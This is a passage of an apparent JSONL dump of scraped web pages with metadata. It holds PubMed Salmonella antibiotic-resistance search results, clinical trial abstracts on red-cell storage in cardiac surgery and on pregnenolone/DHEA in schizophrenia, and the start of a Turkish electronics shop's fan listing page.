series(opens in new tab/window)\nFlexible eBook solutions\nNew book releases\nUpcoming book releases\nQuick help\neBook format help(opens in new tab/window)\nMy account(opens in new tab/window)\nReturns & refunds(opens in new tab/window)\nShipping & delivery(opens in new tab/window)\nSubscriptions & renewals(opens in new tab/window)\nSupport & contact(opens in new tab/window)\nTax exempt orders(opens in new tab/window)\nSolutions\nClinicalKey(opens in new tab/window)\nClinicalKey AI(opens in new tab/window)\nEmbase(opens in new tab/window)\nEvolve(opens in new tab/window)\nMendeley(opens in new tab/window)\nKnovel(opens in new tab/window)\nReaxys(opens in new tab/window)\nScienceDirect(opens in new tab/window)\nAbout\nAbout Elsevier(opens in new tab/window)\nCareers(opens in new tab/window)\nNewsroom(opens in new tab/window)\n(opens in new tab/window)(opens in new tab/window)(opens in new tab/window)(opens in new tab/window)\nCopyright \u00a9 2026 Elsevier, its licensors, and contributors. All rights are reserved, including those for text and data mining, AI training, and similar technologies.\nTerms & conditions(opens in new tab/window)\nPrivacy policy(opens in new tab/window)\nAccessibility(opens in new tab/window)\nCookie Settings\nSupport & contact(opens in new tab/window)", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/3b2df12c-5dc3-447e-989b-dd5b7fa3b9dc", "content_hash": "d6f9ed7b95a3bd5510bf0aec7b5deedc8588e70ec591ba97dde4697d5806442c", "created_at": "2026-03-28T05:13:06.982686563Z"} +{"id": "4d1e1378-2480-4c0c-9537-78a856dba1f8", "source": "brain", "text": "Antibiotic Resistant Salmonella - Search Results - PubMed\n\nAntibiotic Resistant Salmonella - Search Results - PubMed\nThis site needs JavaScript to work properly. Please enable it to take advantage of the complete set of features!\nClipboard, Search History, and several other advanced features are temporarily unavailable.\nSkip to main page content\nAn official website of the United States government\nHere's how you know\nThe .gov means it\u2019s official.\nFederal government websites often end in .gov or .mil. Before sharing sensitive information, make sure you\u2019re on a federal government site.\nThe site is secure.\nThe https:// ensures that you are connecting to the official website and that any information you provide is encrypted and transmitted securely.\nLog in\nShow account info\nClose\nAccount\nLogged in as:\nusername\nDashboard\nPublications\nAccount settings\nLog out\nAccess keys NCBI Homepage MyNCBI Homepage Main Content Main Navigation\nSearch Page\nSearch:\nSearch\nAdvanced Create alert Create RSS Clipboard\nUser Guide\nFilters 0\nTimeline\nSort by: Best match Most recent Publication date First author Journal\nDisplay options\nDisplay options\nFormat Summary Abstract PubMed PMID\nPer page 10 20 50 100 200\nAbstract snippets\nShow\nHide\nSave\nEmail\nSend to\nClipboard\nMy Bibliography\nCollections\nCitation manager\nSave citations to file\nSelection: All results on this page All results Selection\nFormat: Summary (text) PubMed PMID Abstract (text) CSV\nCreate file\nCancel\nEmail citations\nEmail address has not been verified. Go to My NCBI account settings to confirm your email and then refresh this page.\nTo:\nSubject:\nBody:\nSelection: All results on this page All results Selection\nFormat: Summary Summary (text) Abstract Abstract (text)\nMeSH and other data\nSend email\nCancel\nSend citations to clipboard\nSelection: All results on this page All results Selection\nSend\nCancel\nAdd to Collections\nSelection: All results on this page All results Selection\nCreate a new collection\nAdd to an existing collection\nName your collection:\nName must be less than 100 characters\nChoose a collection:\nUnable to load your collection due to an error\nPlease try again\nAdd\nCancel\nAdd to My Bibliography\nSelection: All results on this page All results Selection\nMy Bibliography\nUnable to load your delegates due to an error\nPlease try again\nAdd\nCancel\nCreate a file for external citation management software\nSelection: All results on this page All results Selection\nCreate file\nCancel\nYour saved search\nName of saved search:\nSearch terms:\nAntibiotic Resistant Salmonella\nTest search terms\nWould you like email updates of new search results?\nSaved Search Alert Radio Buttons\nYes\nNo\nEmail: (change)\nFrequency: Monthly Weekly Daily\nWhich day? The first Sunday The first Monday The first Tuesday The first Wednesday The first Thursday The first Friday The first Saturday The first day The first weekday\nWhich day? Sunday Monday Tuesday Wednesday Thursday Friday Saturday\nReport format: Summary Summary (text) Abstract Abstract (text) PubMed\nSend at most: 1 item 5 items 10 items 20 items 50 items 100 items 200 items\nSend even when there aren't any new results\nOptional text in email:\nSave\nCancel\nYour RSS Feed\nName of RSS Feed:\nNumber of items displayed: 5 10 15 20 50 100\nCreate RSS\nCancel\nRSS Link\nCopy\nFilters\nMy Custom Filters\nResults by year\nExpand/collapse timeline\nReset\nTable representation of search results timeline featuring number of search results per year.\nYear\nNumber of Results\n1947 1\n1949 1\n1950 6\n1951 9\n1952 7\n1953 8\n1954 13\n1955 6\n1956 1\n1957 5\n1958 6\n1959 3\n1960 5\n1961 11\n1962 15\n1963 32\n1964 51\n1965 33\n1966 30\n1967 48\n1968 55\n1969 78\n1970 64\n1971 76\n1972 76\n1973 76\n1974 91\n1975 98\n1976 85\n1977 88\n1978 82\n1979 92\n1980 73\n1981 84\n1982 89\n1983 81\n1984 83\n1985 73\n1986 97\n1987 88\n1988 58\n1989 72\n1990 93\n1991 99\n 100\n1994 77\n1995 82\n 100\n 127\n2000 179\n2001 154\n2002 174\n2003 170\n2004 219\n2005 241\n2006 263\n2007 272\n2008 264\n2009 280\n2010 286\n2011 324\n2012 328\n2013 351\n2014 396\n2015 398\n2016 440\n2017 430\n2018 514\n2019 574\n2020 674\n2021 745\n2022 775\n2023 768\n2024 789\n2025 920\n2026 98\nPublication date\n1 year\n5 years\n10 years\nCustom Range\nStart Date\nEnd Date\nClear\nApply\nText availability\nAbstract\nFree full text\nFull text\nArticle attribute\nAssociated data\nArticle type\nBooks and Documents\nClinical Trial\nMeta-Analysis\nRandomized Controlled Trial\nReview\nSystematic Review\nSee all article type filters\nAdditional filters\nAdditional filters\nArticle Language\nEnglish\nSpanish\nSee all article language filters\nSpecies\nHumans\nOther Animals\nSex\nFemale\nMale\nAge\nChild: birth-18 years\nAdult: 19+ years\nAged: 65+ years\nSee all age filters\nOther\nExclude preprints\nMEDLINE\nClear applied filters\nReset filters menu\nSearch Results\nclear all\n13,070 results\nSave\nEmail\nSend to\nClipboard\nMy Bibliography\nCollections\nCitation manager\nClear selection\nPage\nof 1,307\nResults by year\nExpand/collapse timeline\nReset\nSave\nEmail\nSend to\nClipboard\nMy Bibliography\nCollections\nCitation manager\nClear selection\nFilters applied: . Clear all\nSelect search result to email or save\nPage 1\n1\nCite\nBetter together-Salmonella biofilm-associated antibiotic resistance.\nAleksandrowicz A, Carolak E, Dutkiewicz A, B\u0142achut A, Waszczuk W, Grzymajlo K. Aleksandrowicz A, et al. Gut Microbes. 2023 Jan-Dec;15(1):2229937. doi: 10.1080/19490976.2023.2229937. Gut Microbes. 2023. PMID: 37401756 Free PMC article. Review.\nSalmonella poses a serious threat to public health and socioeconomic development worldwide because of its foodborne pathogenicity and antimicrobial resistance. This biofilm-planktonic lifestyle enables Salmonella to interfere with the host and become resis \u2026\nSalmonella poses a serious threat to public health and socioeconomic development worldwide because of its foodborne pathogenicity and \u2026\nCite\nItem in Clipboard\n2\nCite\nAntibiotic-resistant Salmonella in swine wastes and farm surface waters.\nCasanova LM, Hill VR, Sobsey MD. Casanova LM, et al. Lett Appl Microbiol. 2020 Jul;71(1):117-123. doi: 10.1111/lam.13242. Epub 2020 Jan 16. Lett Appl Microbiol. 2020. PMID: 31648373\nThe objective of this research was to determine whether Salmonella resistant to clinically relevant antibiotics were present in wastewaters and surface waters from hog CAFOs. ...No resistance to cephalosporin or fluoroquinolones was found. Resistanc \u2026\nThe objective of this research was to determine whether Salmonella resistant to clinically relevant antibiotics were pr \u2026\nCite\nItem in Clipboard\n3\nCite\nSalmonella infection - prevention and treatment by antibiotics and probiotic yeasts: a review.\nGut AM, Vasiljevic T, Yeager T, Donkor ON. Gut AM, et al. Microbiology (Reading). 2018 Nov;164(11):1327-1344. doi: 10.1099/mic.0.000709. Epub 2018 Aug 23. Microbiology (Reading). 2018. PMID: 30136920 Free article. Review.\nThe use of antibiotic drugs in treating the infection is proving less effective due to the alarming rise of antibiotic-resistant strains of Salmonella, the effects of antibiotics on normal gut microflora and antibiotic-associated diarrhoe \u2026\nThe use of antibiotic drugs in treating the infection is proving less effective due to the alarming rise of antibiotic-resi \u2026\nCite\nItem in Clipboard\n4\nCite\nFructose-enabled killing of antibiotic-resistant Salmonella enteritidis by gentamicin: Insight from reprogramming metabolomics.\nJiang M, Li X, Xie CL, Chen P, Luo W, Lin CX, Wang Q, Shu DM, Luo CL, Qu H, Ji J. Jiang M, et al. Int J Antimicrob Agents. 2023 Sep;62(3):106907. doi: 10.1016/j.ijantimicag.2023.106907. Epub 2023 Jun 28. Int J Antimicrob Agents. 2023. PMID: 37385564 Free article.\nAntibiotics are critical for the initial treatment of bacterial infections. However, the overuse and misuse of antibiotics results in the rapid evolution of antibiotic-resistant bacteria, and the discovery and development of new antibiotics are \u2026\nAntibiotics are critical for the initial treatment of bacterial infections. However, the overuse and misuse of antibiotics res \u2026\nCite\nItem in Clipboard\n5\nCite\nVariability in the Adaptive Response of Antibiotic-Resistant Sa", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/4d1e1378-2480-4c0c-9537-78a856dba1f8", "content_hash": "66e99592c676428816d2aff4b3b1f579538c003c0f26121a8c3d3b694f8e97a4", "created_at": "2026-03-28T05:13:06.875807712Z"} +{"id": "47ca4a33-464e-41a8-9c2c-93689c24e9d0", "source": "brain", "text": "Effects of red-cell storage duration on patients undergoing cardiac surgery\n\nEffects of red-cell storage duration on patients undergoing cardiac surgery\nEffects of red-cell storage duration on patients undergoing cardiac surgery\nN Engl J Med. 2015 Apr 9;372(15):1419-29. doi: 10.1056/NEJMoa1414219.\nAuthors\nMarie E Steiner 1 , Paul M Ness, Susan F Assmann, Darrell J Triulzi, Steven R Sloan, Meghan Delaney, Suzanne Granger, Elliott Bennett-Guerrero, Morris A Blajchman, Vincent Scavo, Jeffrey L Carson, Jerrold H Levy, Glenn Whitman, Pamela D'Andrea, Shelley Pulkrabek, Thomas L Ortel, Larissa Bornikova, Thomas Raife, Kathleen E Puca, Richard M Kaufman, Gregory A Nuttall, Pampee P Young, Samuel Youssef, Richard Engelman, Philip E Greilich, Ronald Miles, Cassandra D Josephson, Arthur Bracey, Rhonda Cooke, Jeffrey McCullough, Robert Hunsaker, Lynne Uhl, Janice G McFarland, Yara Park, Melissa M Cushing, Charles T Klodell, Ravindra Karanam, Pamela R Roberts, Cornelius Dyke, Eldad A Hod, Christopher P Stowell\nAffiliation\n1 From Fairview-University Medical Center, Minneapolis (M.E.S., S.P., J.M.), and Mayo Clinic, Rochester (G.A.N.) - both in Minnesota; Johns Hopkins University (P.M.N., G.W.) and University of Maryland (R.C.) - both in Baltimore; New England Research Institutes, Data Coordinating Center, Watertown (S.F.A., S.G.), Boston Children's Hospital (S.R.S.), Massachusetts General Hospital (L.B., C.P.S.), Brigham and Women's Hospital (R.M.K.), Tufts University (R.E.), St. Elizabeth's Medical Center (R.H.), and Beth Israel Deaconess Medical Center (L.U.), Boston, and Baystate Medical Center, Springfield (R.E.) - all in Massachusetts; University of Pittsburgh and University of Pittsburgh-Mercy Hospital, Pittsburgh (D.J.T., P.D.); Puget Sound Blood Center and University of Washington (M.D.) and Swedish Medical Center (S.Y.) - all in Seattle; Duke University, Durham (E.B.-G., J.H.L., T.L.O.), and University of North Carolina, Chapel Hill (Y.P.) - both in North Carolina; McMaster University, Hamilton, ON, Canada (M.A.B.); Indiana-Ohio Heart and St. Joseph Hospital (V.S.) - both in Fort Wayne, IN; Rutgers Robert Wood Johnson Medical School, New Brunswick (J.L.C.), and Newark Beth Israel Medical Center, Newark (R.K.) - both in New Jersey; University of Iowa, Iowa City (T.R.); Aurora St. Luke's Medical Center (K.E.P.) and Froedert Memorial Lutheran Hospital (J.G.M.), Milwaukee, and Aspirus Heart and Vascular Institute, Wausau (R.M.) - all in Wisconsin; Vanderbilt University, Nashville (P.P.Y.); University of Texas Southwestern Medical Center, Dallas (P.E.G.); Children's Healthcare of Atlanta, Emory University, and Emory University Hospital, Atlanta (C.D.J.); St. Luke's-Texas Heart Institute, Houston (A.B.); Weill Cornell Medical College (M.M.C.) and Columbia University Medical Center (E.A.H.) - both in New York; University of Florida, Gainesville (C.T.K.); University of Oklahoma, Oklahoma City (P.R.R.); and University of North Dakota School of Medicine and Health Sciences, Fargo (C.D.).\nPMID: 25853746\nPMCID: PMC5442442\nDOI: 10.1056/NEJMoa1414219\nAbstract\nBackground: Some observational studies have reported that transfusion of red-cell units that have been stored for more than 2 to 3 weeks is associated with serious, even fatal, adverse events. Patients undergoing cardiac surgery may be especially vulnerable to the adverse effects of transfusion.\nMethods: We conducted a randomized trial at multiple sites from 2010 to 2014. Participants 12 years of age or older who were undergoing complex cardiac surgery and were likely to undergo transfusion of red cells were randomly assigned to receive leukocyte-reduced red cells stored for 10 days or less (shorter-term storage group) or for 21 days or more (longer-term storage group) for all intraoperative and postoperative transfusions. The primary outcome was the change in Multiple Organ Dysfunction Score (MODS; range, 0 to 24, with higher scores indicating more severe organ dysfunction) from the preoperative score to the highest composite score through day 7 or the time of death or discharge.\nResults: The median storage time of red-cell units provided to the 1098 participants who received red-cell transfusion was 7 days in the shorter-term storage group and 28 days in the longer-term storage group. The mean change in MODS was an increase of 8.5 and 8.7 points, respectively (95% confidence interval for the difference, -0.6 to 0.3; P=0.44). The 7-day mortality was 2.8% in the shorter-term storage group and 2.0% in the longer-term storage group (P=0.43); 28-day mortality was 4.4% and 5.3%, respectively (P=0.57). Adverse events did not differ significantly between groups except that hyperbilirubinemia was more common in the longer-term storage group.\nConclusions: The duration of red-cell storage was not associated with significant differences in the change in MODS. We did not find that the transfusion of red cells stored for 10 days or less was superior to the transfusion of red cells stored for 21 days or more among patients 12 years of age or older who were undergoing complex cardiac surgery. (Funded by the National Heart, Lung, and Blood Institute; RECESS ClinicalTrials.gov number, NCT00991341.).\nPublication types\nComparative Study\nMulticenter Study\nRandomized Controlled Trial\nResearch Support, N.I.H., Extramural\nMeSH terms\nAdult\nAged\nBlood Grouping and Crossmatching\nBlood Preservation*\nCardiac Surgical Procedures*\nErythrocyte Transfusion* / adverse effects\nFemale\nHumans\nIntention to Treat Analysis\nLength of Stay\nMale\nMiddle Aged\nMortality\nMultiple Organ Failure / classification\nProportional Hazards Models\nSeverity of Illness Index\nTime Factors\nAssociated data\nClinicalTrials.gov/NCT00991341\nGrants and funding\nR01 HL101382/HL/NHLBI NIH HHS/United States\nU01 HL072331/HL/NHLBI NIH HHS/United States\nUL1 RR025758/RR/NCRR NIH HHS/United States", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/47ca4a33-464e-41a8-9c2c-93689c24e9d0", "content_hash": "c80fbaff8fbb4e0606d8796fcff91e70fcd2cec47785df482f4c29e24f98ee2b", "created_at": "2026-03-28T05:13:06.746474357Z"} +{"id": "0a58f86e-6eaa-41fb-9665-72d26064d8cf", "source": "brain", "text": "Pregnenolone and dehydroepiandrosterone as an adjunctive treatment in schizophrenia and schizoaffective disorder: an 8-week, double-blind, randomiz...\n\nPregnenolone and dehydroepiandrosterone as an adjunctive treatment in schizophrenia and schizoaffective disorder: an 8-week, double-blind, randomized, controlled, 2-center, parallel-group trial\nPregnenolone and dehydroepiandrosterone as an adjunctive treatment in schizophrenia and schizoaffective disorder: an 8-week, double-blind, randomized, controlled, 2-center, parallel-group trial\nJ Clin Psychiatry. 2010 Oct;71(10):1351-62. doi: 10.4088/JCP.09m05031yel. Epub 2010 Jun 15.\nAuthors\nMichael S Ritsner 1 , Anatoly Gibel, Tatyana Shleifer, Igor Boguslavsky, Ahmad Zayed, Rachel Maayan, Abraham Weizman, Vladimir Lerner\nAffiliation\n1 Department of Psychiatry, The Rappaport Faculty of Medicine, Technion\u2013Israel Institute of Technology, Haifa, Israel. \nPMID: 20584515\nDOI: 10.4088/JCP.09m05031yel\nAbstract\nObjective: Pregnenolone (PREG) and dehydroepiandrosterone (DHEA) are reported to have a modulatory effect on neuronal excitability, synaptic plasticity, and response to stress; they are associated with mood regulation and cognitive performance. We investigated the influence of PREG and DHEA on psychotic symptoms and cognitive functioning as an add-on to ongoing antipsychotic treatment of patients with chronic schizophrenia or schizoaffective disorder.\nMethod: This 8-week, double-blind, randomized, placebo-controlled, 2-center study compared 30 mg/d of PREG (PREG-30), 200 mg/d of PREG (PREG-200), 400 mg/d of DHEA, and placebo as an adjunctive treatment of 58 chronic schizophrenia or schizoaffective disorder patients (DSM-IV). The data were collected from February 2005 until June 2007. The outcome measures were symptomatic and neurocognitive changes, functioning, and tolerability as assessed primarily by the Clinical Global Impressions-Severity of Illness scale and the Positive and Negative Syndrome Scale. Analyses are presented for 44 patients who completed 8 weeks of treatment and for 14 noncompleters.\nResults: Compared with subjects who received placebo, those administered PREG-30 had significant reductions in positive symptom scores and extrapyramidal side effects (EPS) and improvement in attention and working memory performance, whereas subjects treated with PREG-200 did not differ on outcome variable scores for the study period. The general psychopathology severity and general functioning of patients receiving placebo and PREG-30 improved more than that of those subjects treated with DHEA, while EPS improved more in subjects treated with DHEA than in patients receiving placebo. Negative symptoms and akathisia were not significantly benefited by any treatment. The administration of PREG and DHEA was well tolerated.\nConclusions: Low-dose PREG augmentation demonstrated significant amelioration of positive symptoms and EPS and improvement in attention and working memory performance of schizophrenia and schizoaffective disorder patients. Further double-blind controlled studies are needed to investigate the clinical benefit of pregnenolone augmentation.\nTrial registration: clinicaltrials.gov Identifier: NCT00174889.\n\u00a9 Copyright 2010 Physicians Postgraduate Press, Inc.\nPublication types\nMulticenter Study\nRandomized Controlled Trial\nMeSH terms\nAdolescent\nAdult\nAntipsychotic Agents / administration & dosage\nAttention / drug effects\nDehydroepiandrosterone / administration & dosage*\nDehydroepiandrosterone / adverse effects\nDose-Response Relationship, Drug\nDouble-Blind Method\nDrug Therapy, Combination* / adverse effects\nDyskinesia, Drug-Induced / drug therapy\nFemale\nHumans\nMale\nMemory, Short-Term / drug effects\nMiddle Aged\nNeurotransmitter Agents / administration & dosage*\nNeurotransmitter Agents / adverse effects\nPregnenolone / administration & dosage*\nPregnenolone / adverse effects\nPsychotic Disorders / drug therapy*\nSchizophrenia / drug therapy*\nSeverity of Illness Index\nSubstances\nAntipsychotic Agents\nNeurotransmitter Agents\nDehydroepiandrosterone\nPregnenolone\nAssociated data\nClinicalTrials.gov/NCT00174889", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/0a58f86e-6eaa-41fb-9665-72d26064d8cf", "content_hash": "36297aaab1cc479394a22241d10af5d67c8c80e43cba7bc5a1f769ce278685e3", "created_at": "2026-03-28T05:13:06.395034927Z"} +{"id": "3f1fb337-0754-49df-9e21-a39dbed66588", "source": "brain", "text": "Vantilat\u00f6rler Fiyatlar\u0131 & Modelleri - Pasaj\n\nVantilat\u00f6rler Fiyatlar\u0131 & Modelleri - Pasaj\nturkcell.com.tr\nKampanyalar Markalar Favorilerim Sipari\u015f Sorgulama Yard\u0131m Pasaj Blog\nGiri\u015f Yap Hesab\u0131m\nPasaj Limitini \u00d6\u011fren\nSipari\u015flerim\nFavorilerim\nHediye \u00c7eklerim\nDe\u011ferlendirmelerim\n\u00dcr\u00fcn Sorular\u0131m\nKullan\u0131c\u0131 Bilgilerim\nKay\u0131tl\u0131 Kartlar\u0131m\nAdreslerim\nYard\u0131m Merkezi\n\u00c7\u0131k\u0131\u015f Yap\nSepetim 0\nCep Telefonu-Aksesuar Bilgisayar-Tablet Elektrikli Ev Aletleri Sa\u011fl\u0131k-Ki\u015fisel Bak\u0131m Hobi-Oyun TV-Ses Sistemleri Ev-Ya\u015fam\nCep Telefonu-Aksesuar\nApple Telefonlar\niPhone 17\niPhone 16\niPhone 15\niPhone 14\niPhone 13\niPhone 12\niPhone 11\niPhone SE\nAndroid Telefonlar\nYapay Zeka (AI) Telefonlar\nGiyilebilir Teknolojiler\nAk\u0131ll\u0131 Saatler\nAk\u0131ll\u0131 Bileklikler\nAk\u0131ll\u0131 \u00c7ocuk Saatleri\nTakip Cihazlar\u0131\nAksesuarlar\nTelefon K\u0131l\u0131flar\u0131\nAirPods\nKulakl\u0131klar\nKablo D\u00fczenleyiciler\nAk\u0131ll\u0131 Saat Aksesuarlar\u0131\nAirPods Aksesuarlar\u0131\nEkran Koruyucular\n\u015earj Cihazlar\u0131\nTelefon Ask\u0131s\u0131\nTelefon Tutucular\nD\u00f6n\u00fc\u015ft\u00fcr\u00fcc\u00fcler\nTu\u015flu Telefonlar\nYenilenmi\u015f Telefonlar\n5G Destekli Ak\u0131ll\u0131 Telefonlar\nT\u00fcm Cep Telefonu-Aksesuar\nBilgisayar-Tablet\nMasa\u00fcst\u00fc Bilgisayarlar\nMac mini\niMac\nAll-in-One Bilgisayarlar\nMasa\u00fcst\u00fc Bilgisayarlar\nKasalar\nDiz\u00fcst\u00fc Bilgisayarlar\nMacBook\nLaptoplar\nOyun Bilgisayarlar\u0131\nTabletler\nApple Tabletler\nAndroid Tabletler\nMacBook Aksesuarlar\u0131\nMacBook \u015earj Cihazlar\u0131\nMacBook \u00c7anta ve K\u0131l\u0131flar\u0131\nModem & Network \u00dcr\u00fcnleri\nModemler\nNetwork \u00dcr\u00fcnleri\nVeri Depolama \u00dcr\u00fcnleri\nHarici Diskler\nUSB Bellekler\nHaf\u0131za Kartlar\u0131\nSSD - Hard Diskleri\nBilgisayar \u00c7evre Birimleri\nMonit\u00f6rler\nKlavyeler\nBiIgisayar Kulakl\u0131klar\u0131\nHoparl\u00f6rler\nMouselar\nMouse Padleri\nD\u00f6n\u00fc\u015ft\u00fcr\u00fcc\u00fcler\nSo\u011futucu & Y\u00fckselticiler\nWebcam \u00dcr\u00fcnleri\nKablolar\nLaptop \u00c7antalar\u0131\nUPS & G\u00fc\u00e7 Kaynaklar\u0131\n3D Yaz\u0131c\u0131lar\nYaz\u0131c\u0131lar\nYaz\u0131c\u0131 Sarf \u00dcr\u00fcnleri\nTablet Aksesuarlar\u0131\nTablet K\u0131l\u0131flar\u0131\nTablet Ekran Koruyucular\nTablet Tutucular\nTablet Klavyeleri\nTablet Kalemleri\nT\u00fcm Bilgisayar-Tablet\nElektrikli Ev Aletleri\n\u00dct\u00fcler\nBuharl\u0131 \u00dct\u00fcler\nBuhar Kazanl\u0131 \u00dct\u00fcler\n\u00dct\u00fc Masalar\u0131\nS\u00fcp\u00fcrgeler\nRobot S\u00fcp\u00fcrgeler\n\u015earjl\u0131 S\u00fcp\u00fcrgeler\nDikey S\u00fcp\u00fcrgeler\nToz Torbas\u0131z S\u00fcp\u00fcrgeler\nToz Torbal\u0131 S\u00fcp\u00fcrgeler\nElektrikli Mutfak Aletleri\nAirfryer & Frit\u00f6zler\nMutfak Robotlar\u0131\nBlender & Mikserler\nKahve Makineleri\nKahve \u00c7e\u015fitleri\n\u00c7ay Makineleri\nTost Makineleri\nEkmek Yapma Makineleri\nEkmek K\u0131zartma Makineleri\nMeyve S\u0131kacaklar\u0131\nPi\u015firiciler\nSu Is\u0131t\u0131c\u0131lar\u0131\nSu Sebilleri\nSu Ar\u0131tma Cihazlar\u0131\nTeknolojik Mutfak Aletleri\nMutfak Gere\u00e7leri\nTava & Tencere & D\u00fcd\u00fckl\u00fc Tencere\nYemek & Kahvalt\u0131 Tak\u0131mlar\u0131\n\u00c7atal & Ka\u015f\u0131k & B\u0131\u00e7ak Tak\u0131mlar\u0131\nYemek Haz\u0131rl\u0131k Gere\u00e7leri\nSaklama & D\u00fczenleme Kaplar\u0131\n\u00c7aydanl\u0131k\nYap\u0131 Aletleri\nHava Temizleme Cihazlar\u0131\nDiki\u015f Makineleri\nF\u0131r\u0131nlar\nMikrodalga F\u0131r\u0131nlar\nMini F\u0131r\u0131nlar\nIs\u0131tma ve So\u011futma Sistemleri\nVantilat\u00f6rler\nRadyat\u00f6rler\nT\u00fcm Elektrikli Ev Aletleri\nSa\u011fl\u0131k-Ki\u015fisel Bak\u0131m\nCilt Bak\u0131m Teknolojileri\nSa\u00e7 Bak\u0131m \u00dcr\u00fcnleri\nSa\u00e7 Kurutma Makineleri\nSa\u00e7 \u015eekillendiriciler\nSa\u00e7 D\u00fczle\u015ftiricileri\nErkek Bak\u0131m \u00dcr\u00fcnleri\nT\u0131ra\u015f Makineleri\nSa\u00e7 & Sakal Kesme Makineleri\nA\u011f\u0131z Bak\u0131m \u00dcr\u00fcnleri\n\u015earjl\u0131 Di\u015f F\u0131r\u00e7alar\u0131\nA\u011f\u0131z Du\u015flar\u0131\nEpilat\u00f6rler & IPL Cihazlar\u0131\nEpilat\u00f6rler\nLazer Epilasyon & IPL Cihazlar\u0131\nAte\u015f \u00d6l\u00e7erler & Tansiyon Aletleri\nAte\u015f \u00d6l\u00e7erler\nTansiyon Aletleri\nMasaj Aletleri\nTart\u0131lar\nT\u00fcm Sa\u011fl\u0131k-Ki\u015fisel Bak\u0131m\nHobi-Oyun\nOyun Konsollar\u0131\nPlaystation 5 / PS5\nPlaystation 4 / PS4\nNintendo\nxbox\nDi\u011fer Oyun Konsollar\u0131\nDijital \u00dcr\u00fcn Kodlar\u0131\nDestek Kartlar\u0131\nOyun Pinleri - \u00dcyelikler\nSpor - Dizi - Film Yay\u0131n Paketleri\nOnline E\u011fitim\nE\u011flence ve M\u00fczik\nSaklama Alan\u0131\nDijital Sigorta \u00dcr\u00fcnleri\nOyuncu Aksesuarlar\u0131\nOyuncu Klavyeleri\nOyuncu Mouselar\u0131\nOyuncu Kulakl\u0131klar\u0131\nOyuncu Koltuklar\u0131\nOyuncu Joystickleri\nKonsol Aksesuarlar\u0131\nMobil Oyun Aksesuarlar\u0131\nOyunlar\nPlaystation & Konsol Oyunlar\u0131\nFoto\u011fraf & Kameralar\nFoto\u011fraf Makineleri\nAksiyon Kameralar\u0131\nPolaroid Foto\u011fraf Makineleri\nFoto\u011fraf Yaz\u0131c\u0131lar\u0131\nYoutuber & Yay\u0131nc\u0131 \u00dcr\u00fcnleri\nMikrofonlar\nDronelar\nScooterlar ve Bisikletler\nYeti\u015fkin Hobi & E\u011flence\nM\u00fczik \u00dcr\u00fcnleri\nPlaklar\nPikaplar\n\u00d6deme Kartlar\u0131\nT\u00fcm Hobi-Oyun\nTV-Ses Sistemleri\nTelevizyonlar\nSmart TV\nLED TV\n4K TV\n8K TV\nOLED TV\nQLED TV\nProjeksiyon Sistemleri\nProjeksiyon Cihazlar\u0131\nTa\u015f\u0131nabilir Projeksiyon Cihazlar\u0131\nSes Sistemleri\nBluetooth Hoparl\u00f6rler\nEv Sinema Sistemleri\nSoundbar\nMedia Player\nT\u00fcm TV-Ses Sistemleri\nEv-Ya\u015fam\nSpor \u00dcr\u00fcnleri\nFitness \u00dcr\u00fcnleri\nTermos\nKamp Malzemeleri & Outdoor \u00dcr\u00fcnleri\nYoga-Pilates \u00dcr\u00fcnleri\nBebek & \u00c7ocuk\nBebek Bak\u0131m\nMama Haz\u0131rlay\u0131c\u0131lar\nOyuncaklar\nG\u00fcvenlik \u00dcr\u00fcnleri\nAk\u0131ll\u0131 Ev \u00c7\u00f6z\u00fcmleri\nAyd\u0131nlatma \u00dcr\u00fcnleri\nG\u00fcvenlik \u00c7\u00f6z\u00fcmleri\nPet Shop\nAk\u0131ll\u0131 Mama / Su Kaplar\u0131\nAk\u0131ll\u0131 Tuvaletler\nTeknolojik \u00dcr\u00fcnler\n\u00c7anta & Valiz\nValizler\n\u015eemsiyeler\nAra\u00e7 \u00c7\u00f6z\u00fcmleri\nAra\u00e7 G\u00fcvenlik Teknolojileri\nAra\u00e7 Donan\u0131m \u00dcr\u00fcnleri\nServiscell\nYap\u0131 Market \u00dcr\u00fcnleri\nAk\u0131m Korumal\u0131 Prizler\nOfis Malzemeleri\nEvrak \u0130mha Makineleri\nPiller\nOfis Mobilyalar\u0131\nMasa\u00fcst\u00fc Gere\u00e7leri\nAk\u0131ll\u0131 & \u0130lgin\u00e7 \u00dcr\u00fcnler\nT\u00fcm Ev-Ya\u015fam\nGiri\u015f\nSize \u00f6zel \u00f6deme avantajlar\u0131 ve size \u00f6zel tekliflerden faydalanmak i\u00e7in Giri\u015f Yap/\u00dcye Ol se\u00e7ene\u011fi ile devam edebilirsiniz.\nH\u0131zl\u0131 Giri\u015f\nGiri\u015f Yapmadan Devam Et\nKurumsal Yetkili Giri\u015fi\nPasaj\nElektrikli Ev Aletleri\nIs\u0131tma ve So\u011futma Sistemleri\nVantilat\u00f6rler\nVantilat\u00f6rler\nFiltreleri Temizle\nKar\u015f\u0131la\u015ft\u0131rma Modu\nKar\u015f\u0131la\u015ft\u0131rma i\u00e7in en az iki cihaz se\u00e7melisiniz.\nTemizle\nKar\u015f\u0131la\u015ft\u0131r\nArama kriterlerinize uygun cihaz bulunamad\u0131.\nBizi Takip Edin\nSosyal medya hesaplar\u0131m\u0131zdan bizi takip edin, f\u0131rsatlar\u0131 ka\u00e7\u0131rmay\u0131n.\nTurkcell Uygulamas\u0131n\u0131 \u0130ndir\nQR kodunu taratarak uygulamay\u0131 hemen indirebilirsiniz. Pasaj ile ilgili t\u00fcm i\u015flemlerinizi Turkcell Uygulamas\u0131ndan h\u0131zl\u0131ca ger\u00e7ekle\u015ftirebilirsiniz.\nHakk\u0131m\u0131zda\nPasaj Genel Bak\u0131\u015f\nHaberler & Duyurular\nKurumsal \u0130leti\u015fim ve S\u00fcrd\u00fcr\u00fcrebilirlik\nKariyer\nGizlilik ve G\u00fcvenlik\nPasaj \u0130leti\u015fim\nPasaj Blog\nPasaj Gaming\nTurkcell Blog\nAk\u0131ll\u0131 Ev\n5G\nT\u00fcm\u00fcn\u00fc G\u00f6r\nPop\u00fcler Kategoriler\nCep Telefonu\nAndroid Telefonlar\niPhone Modelleri\n\u0130kinci El / Yenilenmi\u015f Telefonlar\nYenilenmi\u015f iPhone\n5G Uyumlu Telefonlar\nAk\u0131ll\u0131 Saatler\nBluetooth 